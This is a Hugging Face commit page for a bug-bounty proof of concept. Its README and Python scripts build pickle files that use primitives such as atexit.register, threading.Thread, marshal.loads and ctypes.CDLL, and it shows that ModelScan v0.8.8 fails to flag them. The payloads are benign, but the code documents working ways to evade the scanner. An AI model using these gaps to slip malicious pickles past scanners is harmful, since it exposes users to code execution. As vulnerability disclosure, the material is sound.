askeladd-k commited on
Commit
b8df477
·
verified ·
1 Parent(s): 42da82e

A1-S1: ModelScan additional unsafe_globals primitives PoC

Browse files
R2_A1-02_methodcaller.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:952adc4520b2999f2566b4dbd01daea751b5be1730e1acfa4810771e6ab26139
3
+ size 52
R2_A1-05_partial.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:8cb92efd3771caf0f2e5b1fe88e3c478fa6aaf54ee9f48158d2e5238385e2ae2
3
+ size 66
R2_A1-07_atexit.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:c4484750fa55fe6f616b02a7f651ebd9e7c1d33e83897ee5812a82d7315b0baf
3
+ size 73
R2_A1-09_threading.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:094530a980f6286620e38f6ac4f3082eab0b3a9f4e706ffaa25bd667fcfbc251
3
+ size 38
README.md ADDED
@@ -0,0 +1,55 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: cc-by-4.0
3
+ tags:
4
+ - security
5
+ - poc
6
+ - modelscan
7
+ ---
8
+
9
+ # ModelScan v0.8.8 additional unsafe_globals primitives
10
+
11
+ Proof-of-concept pickle files demonstrating that ModelScan's `unsafe_globals`
12
+ allowlist omits four additional code-execution primitives beyond those already
13
+ disclosed in issues #338, #331, and PR #339 on `protectai/modelscan`:
14
+
15
+ - `operator.methodcaller`
16
+ - `functools.partial`
17
+ - `atexit.register`
18
+ - `threading.Thread`
19
+
20
+ **These pickle files are intentionally malicious for demonstration purposes.**
21
+ Do not load any of them on a system you care about. Each file contains a
22
+ minimal `__reduce__`-shaped payload referencing one of the four primitives.
23
+
24
+ See the huntr submission for the detailed Description.
25
+
26
+ ## Reproduction
27
+
28
+ ```bash
29
+ python -m venv venv
30
+ # Windows:
31
+ . venv/Scripts/activate
32
+ # POSIX:
33
+ . venv/bin/activate
34
+
35
+ pip install modelscan==0.8.8
36
+ git clone https://huggingface.co/askeladd-k/modelscan-additional-primitives poc
37
+ cd poc
38
+ python repro.py
39
+ ```
40
+
41
+ ### Expected output
42
+
43
+ ```
44
+ R2_A1-02_methodcaller.pkl: total_issues=0 [BYPASSED (gap)]
45
+ R2_A1-05_partial.pkl: total_issues=0 [BYPASSED (gap)]
46
+ R2_A1-07_atexit.pkl: total_issues=0 [BYPASSED (gap)]
47
+ R2_A1-09_threading.pkl: total_issues=0 [BYPASSED (gap)]
48
+ positive_control.pkl: total_issues=1 [FLAGGED (positive control)]
49
+ ```
50
+
51
+ ## AI disclosure
52
+
53
+ These proof-of-concept files were generated with AI-assisted analysis and
54
+ manually verified in a clean environment against vanilla
55
+ `pip install modelscan==0.8.8`.
build_pocs.py ADDED
@@ -0,0 +1,230 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ R2 fixture: validate Claude+Codex AGREE-1 (allowlist is too narrow).
3
+
4
+ Method: build pickles that use UNALLOWLISTED primitives to demonstrate ModelScan
5
+ fails to flag them. We test multiple primitives separately so we can credit each
6
+ to the corresponding gap candidate.
7
+
8
+ Each test produces a pickle whose collected globals are entirely unallowlisted.
9
+ If ModelScan reports zero issues on a given pickle, that's confirmation of the
10
+ specific gap.
11
+
12
+ Primitives tested:
13
+ - A1-01: builtins.type (Claude pass)
14
+ - A1-02: operator.methodcaller (Claude pass)
15
+ - A1-03: importlib.import_module (Claude pass)
16
+ - A1-05: functools.partial (Claude pass)
17
+ - A1-07: atexit.register (Claude pass)
18
+ - A1-09: threading.Thread (Claude pass)
19
+ - CDX-02: marshal.loads + types.FunctionType (Codex pass)
20
+ - CDX-03: ctypes.CDLL (Codex pass)
21
+ """
22
+ import builtins
23
+ import json
24
+ import os
25
+ import pickle
26
+ import subprocess
27
+ import sys
28
+ from pathlib import Path
29
+
30
+
31
+ HERE = Path(__file__).resolve().parent
32
+
33
+
34
+ # ---------------------------------------------------------------------------
35
+ # Build pickles using each unallowlisted primitive.
36
+ # Each __reduce__ returns (callable, args) where `callable` is the targeted
37
+ # unallowlisted primitive. The pickle's collected globals will include
38
+ # (callable.__module__, callable.__qualname__) — this is what ModelScan scans.
39
+ # ---------------------------------------------------------------------------
40
+
41
+
42
+ class TypeReduce:
43
+ """A1-01: builtins.type — pyjail-escape primitive."""
44
+
45
+ def __reduce__(self):
46
+ return (type, ("X", (object,), {}))
47
+
48
+
49
+ class MethodcallerReduce:
50
+ """A1-02: operator.methodcaller — symmetric to allowlisted attrgetter."""
51
+
52
+ def __reduce__(self):
53
+ import operator
54
+
55
+ return (operator.methodcaller, ("upper",))
56
+
57
+
58
+ class ImportlibReduce:
59
+ """A1-03: importlib.import_module — bypasses builtins.__import__ allowlist."""
60
+
61
+ def __reduce__(self):
62
+ import importlib
63
+
64
+ return (importlib.import_module, ("io",))
65
+
66
+
67
+ class PartialReduce:
68
+ """A1-05: functools.partial — generic callable wrapper."""
69
+
70
+ def __reduce__(self):
71
+ import functools
72
+
73
+ return (functools.partial, (str, "test"))
74
+
75
+
76
+ class AtexitReduce:
77
+ """A1-07: atexit.register — deferred RCE primitive."""
78
+
79
+ def __reduce__(self):
80
+ import atexit
81
+
82
+ # Benign callback for fixture purposes (registers print, not os.system).
83
+ # The point: detecting that atexit.register is callable at unpickle time.
84
+ return (atexit.register, (print, "atexit_test"))
85
+
86
+
87
+ class ThreadingReduce:
88
+ """A1-09: threading.Thread — async RCE primitive."""
89
+
90
+ def __reduce__(self):
91
+ import threading
92
+
93
+ # Construct a Thread with a benign target. Fixture goal is opcode-level
94
+ # detection, not execution semantics.
95
+ return (threading.Thread, ())
96
+
97
+
98
+ class MarshalReduce:
99
+ """CDX-02: marshal.loads as the reduce callable.
100
+
101
+ Simpler than the full FunctionType chain — just demonstrates marshal.loads
102
+ is callable at unpickle time and not flagged. The bytes arg is a marshaled
103
+ code object; calling marshal.loads(bytes) returns the code object.
104
+ """
105
+
106
+ def __reduce__(self):
107
+ import marshal
108
+
109
+ code_obj = compile("None", "<exploit>", "exec")
110
+ marshaled = marshal.dumps(code_obj)
111
+ return (marshal.loads, (marshaled,))
112
+
113
+
114
+ class CtypesReduce:
115
+ """CDX-03: ctypes.CDLL — native library loading primitive."""
116
+
117
+ def __reduce__(self):
118
+ import ctypes
119
+
120
+ # Reference ctypes.CDLL. The constructor will fail at unpickle time
121
+ # because the library name does not exist, but that failure occurs
122
+ # AFTER pickle collects the GLOBAL ref. We want to check whether
123
+ # ModelScan flags the GLOBAL ref to ctypes.CDLL statically.
124
+ return (ctypes.CDLL, ("non_existent_lib_for_fixture",))
125
+
126
+
127
+ # ---------------------------------------------------------------------------
128
+ # Run each pickle through modelscan and collect verdicts.
129
+ # ---------------------------------------------------------------------------
130
+
131
+
132
+ def write_pickle(obj, name: str) -> Path:
133
+ out = HERE / f"R2_{name}.pkl"
134
+ out.write_bytes(pickle.dumps(obj))
135
+ return out
136
+
137
+
138
+ def run_modelscan(target: Path) -> dict:
139
+ modelscan_exe = Path(sys.executable).parent / "modelscan.exe"
140
+ result = subprocess.run(
141
+ [str(modelscan_exe), "-p", str(target), "--reporting-format", "json"],
142
+ capture_output=True,
143
+ text=True,
144
+ )
145
+ stdout = result.stdout
146
+ if "{" not in stdout:
147
+ return {
148
+ "raw_stdout": stdout,
149
+ "raw_stderr": result.stderr,
150
+ "exit_code": result.returncode,
151
+ "parse_error": "no JSON in stdout",
152
+ }
153
+ json_start = stdout.find("{")
154
+ json_end = stdout.rfind("}") + 1
155
+ json_blob = stdout[json_start:json_end]
156
+ json_blob_clean = json_blob.replace("\n", "").replace("\r", "")
157
+ try:
158
+ return {
159
+ "parsed": json.loads(json_blob_clean),
160
+ "raw_stderr": result.stderr,
161
+ "exit_code": result.returncode,
162
+ }
163
+ except json.JSONDecodeError as e:
164
+ return {
165
+ "raw_stdout": stdout,
166
+ "raw_stderr": result.stderr,
167
+ "exit_code": result.returncode,
168
+ "parse_error": str(e),
169
+ }
170
+
171
+
172
+ def issues_in(result: dict) -> list:
173
+ if "parsed" not in result:
174
+ return []
175
+ return result["parsed"].get("issues") or []
176
+
177
+
178
+ def main() -> int:
179
+ cases = [
180
+ ("A1-01_type", TypeReduce()),
181
+ ("A1-02_methodcaller", MethodcallerReduce()),
182
+ ("A1-03_importlib", ImportlibReduce()),
183
+ ("A1-05_partial", PartialReduce()),
184
+ ("A1-07_atexit", AtexitReduce()),
185
+ ("A1-09_threading", ThreadingReduce()),
186
+ ("CDX-02_marshal_types", MarshalReduce()),
187
+ ("CDX-03_ctypes", CtypesReduce()),
188
+ ]
189
+
190
+ verdicts = []
191
+ for name, obj in cases:
192
+ path = write_pickle(obj, name)
193
+ result = run_modelscan(path)
194
+ n_issues = len(issues_in(result))
195
+ bypass = n_issues == 0
196
+ verdicts.append((name, path.name, bypass, n_issues, result))
197
+ print(f"[R2] {name}: {'BYPASS' if bypass else 'FLAGGED'} ({n_issues} issues)")
198
+
199
+ print("\n=== R2 VERDICT ===")
200
+ bypass_count = sum(1 for _, _, b, _, _ in verdicts if b)
201
+ flagged_count = len(verdicts) - bypass_count
202
+ print(f"{bypass_count} primitives BYPASSED, {flagged_count} primitives FLAGGED")
203
+ print()
204
+ print("BYPASSED (confirms gap):")
205
+ for name, path, bypass, n_issues, _result in verdicts:
206
+ if bypass:
207
+ print(f" - {name} ({path})")
208
+ print()
209
+ print("FLAGGED (gap not present for this primitive):")
210
+ for name, path, bypass, n_issues, _result in verdicts:
211
+ if not bypass:
212
+ print(f" - {name} ({path}) -> {n_issues} issues")
213
+
214
+ # Write structured results
215
+ summary = {
216
+ "cases": [
217
+ {"name": name, "path": path, "bypass": bypass, "n_issues": n_issues}
218
+ for name, path, bypass, n_issues, _result in verdicts
219
+ ],
220
+ "bypass_count": bypass_count,
221
+ "flagged_count": flagged_count,
222
+ }
223
+ (HERE / "R2_summary.json").write_text(json.dumps(summary, indent=2))
224
+ print(f"\nWrote summary -> {HERE / 'R2_summary.json'}")
225
+
226
+ return 0
227
+
228
+
229
+ if __name__ == "__main__":
230
+ sys.exit(main())
positive_control.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:707ca6594823f5eae1e58fc37cda7943d019f73a8f07f947532f2a477a2315bd
3
+ size 56
repro.py ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Reproduce ModelScan v0.8.8 bypass on the four PoC pickle files.
3
+
4
+ Expected: 4 PoCs report total_issues=0; positive_control reports total_issues=1.
5
+ """
6
+ import json
7
+ import subprocess
8
+ import sys
9
+ from pathlib import Path
10
+
11
+ modelscan = Path(sys.executable).parent / (
12
+ "modelscan.exe" if sys.platform == "win32" else "modelscan"
13
+ )
14
+ if not modelscan.exists():
15
+ raise RuntimeError(
16
+ f"modelscan not found at {modelscan}. "
17
+ f"Run `pip install modelscan==0.8.8` in this venv first."
18
+ )
19
+
20
+ for poc in sorted(Path(".").glob("*.pkl")):
21
+ result = subprocess.run(
22
+ [str(modelscan), "-p", str(poc), "--reporting-format", "json"],
23
+ capture_output=True,
24
+ text=True,
25
+ )
26
+ stdout = result.stdout
27
+ if "{" not in stdout:
28
+ print(f"{poc.name}: PARSE-FAILED")
29
+ continue
30
+ blob = stdout[stdout.find("{"):stdout.rfind("}")+1].replace("\n", "").replace("\r", "")
31
+ data = json.loads(blob)
32
+ total = data["summary"]["total_issues"]
33
+ label = (
34
+ "FLAGGED (positive control)" if poc.name == "positive_control.pkl"
35
+ else "BYPASSED (gap)"
36
+ )
37
+ print(f"{poc.name}: total_issues={total} [{label}]")